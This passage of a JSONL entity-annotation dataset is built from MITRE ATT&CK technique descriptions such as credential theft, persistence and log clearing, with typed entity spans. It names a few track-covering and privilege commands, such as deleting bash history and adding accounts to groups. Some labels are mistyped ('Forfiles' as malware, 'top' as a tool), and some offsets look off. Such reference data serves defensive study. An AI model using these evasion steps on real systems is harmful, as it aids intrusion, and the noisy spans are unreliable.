detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version). On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.\n\nSystem Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.", "spans": {"MALWARE: Systeminfo": [[472, 482]], "SYSTEM: macOS": [[671, 676]], "SYSTEM: AWS": [[1023, 1026]], "SYSTEM: GCP": [[1028, 1031]], "SYSTEM: Azure": [[1037, 1042]], "SYSTEM: API": [[1135, 1138]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1082"}} {"text": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.", "spans": {"SYSTEM: DNS": [[417, 420]], "SYSTEM: SMB": [[596, 599]], "SYSTEM: SSH": [[601, 604]], "TOOL: RDP": [[609, 612]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1071"}} {"text": "Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code. \n\nKnown as \"AppDomainManager injection,\" adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.", "spans": {"SYSTEM: .NET": [[74, 78], [120, 124], [303, 307], [379, 383], [548, 552], [802, 806], [874, 878]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.014"}} {"text": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.", "spans": {"TOOL: cmd": [[315, 318]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1074.002"}} {"text": "An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account. Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.\n \nThis account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments. In these cases, this technique may be used in conjunction with Additional Cloud Roles.", "spans": {"SYSTEM: Kubernetes": [[309, 319], [438, 448], [797, 807], [831, 841], [861, 871]], "ORGANIZATION: Google": [[790, 796]], "ORGANIZATION: Amazon": [[816, 822]], "SYSTEM: Elastic": [[823, 830]], "SYSTEM: Azure": [[855, 860]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1098.006"}} {"text": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to System Binary Proxy Execution, adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.", "spans": {"TOOL: at": [[214, 216], [594, 596]], "SYSTEM: Windows": [[376, 383]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1053"}} {"text": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi). The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs. Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.", "spans": {"SYSTEM: Windows": [[124, 131], [441, 448]], "ORGANIZATION: Microsoft": [[274, 283]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.007"}} {"text": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1590.003"}} {"text": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target. This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS and NTP, though the use of several others in the wild have been documented. In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.", "spans": {"SYSTEM: DNS": [[1365, 1368]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1498.002"}} {"text": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.", "spans": {"SYSTEM: Windows": [[166, 173]], "SYSTEM: Security Accounts Manager": [[536, 561]], "SYSTEM: SAM": [[563, 566]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556.002"}} {"text": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.\n\nWindows Services that are run as a \"generic\" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll. The termsrv.dll file, typically stored in `%SystemRoot%\\System32\\`, is the default ServiceDll value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts. Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent Remote Desktop Protocol sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality. On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.", "spans": {"ORGANIZATION: Microsoft": [[94, 103]], "SYSTEM: Windows Server": [[166, 180]], "TOOL: RDP": [[348, 351], [1341, 1344], [1527, 1530]], "SYSTEM: Windows": [[354, 361], [1376, 1383]], "SYSTEM: Registry": [[504, 512]], "FILEPATH: %SystemRoot%": [[606, 618]], "TOOL: Remote Desktop Protocol": [[1166, 1189]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1505.005"}} {"text": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents. These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.\n\nAppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS Native APIs NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute Native APIs, which otherwise would require compilation and execution in a mach-O binary file format. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via Python.", "spans": {"SYSTEM: macOS": [[66, 71], [952, 957], [1474, 1479]], "FILEPATH: /usr/bin/osascript": [[753, 771], [1076, 1094]], "SYSTEM: SSH": [[1222, 1225]], "SYSTEM: Python": [[1767, 1773]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.002"}} {"text": "Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms. Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application. \n\n \nMalicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls. \n\nThe modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1176"}} {"text": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well. Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.", "spans": {"SYSTEM: DNS": [[157, 160]], "SYSTEM: HTTP": [[450, 454], [505, 509]], "TOOL: top": [[586, 589]], "SYSTEM: SSL": [[785, 788], [852, 855], [865, 868], [1015, 1018], [1165, 1168]], "SYSTEM: TLS": [[856, 859], [869, 872], [1169, 1172]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1499.002"}} {"text": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1195.003"}} {"text": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes. This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks. Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.", "spans": {"SYSTEM: API": [[79, 82], [480, 483], [586, 589], [968, 971], [1101, 1104], [1196, 1199], [1440, 1443], [1673, 1676], [1772, 1775]], "SYSTEM: Native API": [[714, 724]], "SYSTEM: Windows": [[960, 967]], "ORGANIZATION: Microsoft": [[1290, 1299]], "SYSTEM: .NET": [[1300, 1304]], "SYSTEM: macOS": [[1309, 1314]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1106"}} {"text": "Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. \n\nThe /etc/krb5.conf configuration file and the KRB5CCNAME environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using kinit, which obtains a Ticket-Granting-Ticket (TGT) for the principal; klist, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.\n\nAdversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform Pass the Ticket attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform Privilege Escalation. Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further Lateral Movement. On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.", "spans": {"SYSTEM: Kerberos": [[33, 41], [1426, 1434]], "FILEPATH: /etc/krb5.conf": [[336, 350]], "SYSTEM: Linux": [[490, 495]], "FILEPATH: %UID%": [[586, 591]], "SYSTEM: macOS": [[614, 619], [1374, 1379]], "SYSTEM: API": [[677, 680]], "SYSTEM: Windows": [[1326, 1333]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1558.005"}} {"text": "Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as Remote Services or External Remote Services. Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under :\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\n\nWindows may also store information about recent RDP connections in files such as C:\\Users\\\\%username%\\Documents\\Default.rdp and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`. Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as Disable or Modify System Firewall or tampering to enable Proxy. Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.", "spans": {"TOOL: RDP": [[552, 555], [840, 843]], "SYSTEM: Windows Registry": [[592, 608]], "ORGANIZATION: Microsoft": [[660, 669], [743, 752]], "SYSTEM: Windows": [[792, 799]], "FILEPATH: C:\\Users\\\\%username%\\Documents\\Default.rdp": [[879, 921]], "FILEPATH: C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal": [[934, 986]], "SYSTEM: macOS": [[1021, 1026]], "SYSTEM: Linux": [[1031, 1036]], "FILEPATH: /var/log/`).": [[1161, 1173]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.007"}} {"text": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. \n\nPreauthentication offers protection against offline Password Cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline Password Cracking attacks similarly to Kerberoasting and expose plaintext credentials. \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like PowerShell with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. \n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.", "spans": {"SYSTEM: Kerberos": [[66, 74], [114, 122]], "SYSTEM: Windows": [[1283, 1290]], "TOOL: PowerShell": [[1302, 1312]], "SYSTEM: LDAP": [[1321, 1325]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1558.004"}} {"text": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1584.003"}} {"text": "Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.\n\nAdversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as Phishing payloads.\n\nThese scripts may also be compiled into self-contained executable payloads (`.exe`).", "spans": {"SYSTEM: Windows": [[191, 198]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.010"}} {"text": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a Network Device CLI introduced to the system through Modify System Image to change the configuration of the device.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1600.001"}} {"text": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history. \n\nAdversaries may also leverage a Network Device CLI on network devices to clear command history data (clear logging and/or clear history). On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.", "spans": {"SYSTEM: Linux": [[294, 299]], "SYSTEM: macOS": [[304, 309]], "FILEPATH: /var/log/shell.log`": [[1156, 1175]], "SYSTEM: Windows": [[1186, 1193], [1671, 1678]], "TOOL: PowerShell": [[1201, 1211], [1595, 1605], [1679, 1689], [1900, 1910], [1997, 2007], [2204, 2214]], "ORGANIZATION: Microsoft": [[1661, 1670]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.003"}} {"text": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (`pcalua.exe`), components of the Windows Subsystem for Linux (WSL), `Scriptrunner.exe`, as well as other utilities may invoke the execution of programs and commands from a Command and Scripting Interpreter, Run window, or via scripts. Adversaries may also abuse the `ssh.exe` binary to execute malicious commands via the `ProxyCommand` and `LocalCommand` options, which can be invoked via the `-o` flag or by modifying the SSH config file.\n\nAdversaries may abuse these features for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd or file extensions more commonly associated with malicious payloads.", "spans": {"SYSTEM: Windows": [[154, 161], [329, 336]], "TOOL: cmd": [[231, 234], [949, 952]], "MALWARE: Forfiles": [[249, 257]], "SYSTEM: Linux": [[351, 356]], "TOOL: ssh": [[563, 566]], "SYSTEM: SSH": [[719, 722]], "SYSTEM: Group Policy": [[903, 915]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1202"}} {"text": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB. This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables. For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).", "spans": {"SYSTEM: Access": [[486, 492]], "SYSTEM: Android": [[787, 794]], "SYSTEM: iOS": [[796, 799]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1091"}} {"text": "Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.", "spans": {"TOOL: cmd": [[291, 294]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1005"}} {"text": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload.\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "spans": {"TOOL: certutil": [[362, 370]], "SYSTEM: Windows": [[504, 511]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1140"}} {"text": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.\n\nOnce malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.", "spans": {"SYSTEM: Microsoft Outlook": [[22, 39]], "SYSTEM: Outlook": [[93, 100], [263, 270], [335, 342], [549, 556]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1137.005"}} {"text": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562"}} {"text": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or Phishing. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, conducting Password Spraying attacks, or attempting to Steal Application Access Tokens. Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a Trusted Relationship between service providers and their customers.", "spans": {"SYSTEM: Dropbox": [[205, 212]], "ORGANIZATION: Microsoft": [[214, 223]], "SYSTEM: OneDrive": [[224, 232]], "SYSTEM: AWS": [[237, 240], [509, 512], [533, 536], [575, 578]], "SYSTEM: S3": [[241, 243]], "SYSTEM: Access": [[1010, 1016]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1586.003"}} {"text": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1586.002"}} {"text": "An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.\n\nOn Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups. On Linux, adversaries may use the `usermod` command for the same purpose.\n\nFor example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage Remote Desktop Protocol to log into the endpoints in the future. Adversaries may also add accounts to VPN user groups to gain future persistence on the network. On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage Sudo and Sudo Caching for elevated privileges. \n\nIn Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.", "spans": {"SYSTEM: Windows": [[147, 154], [416, 423], [859, 866]], "SYSTEM: Linux": 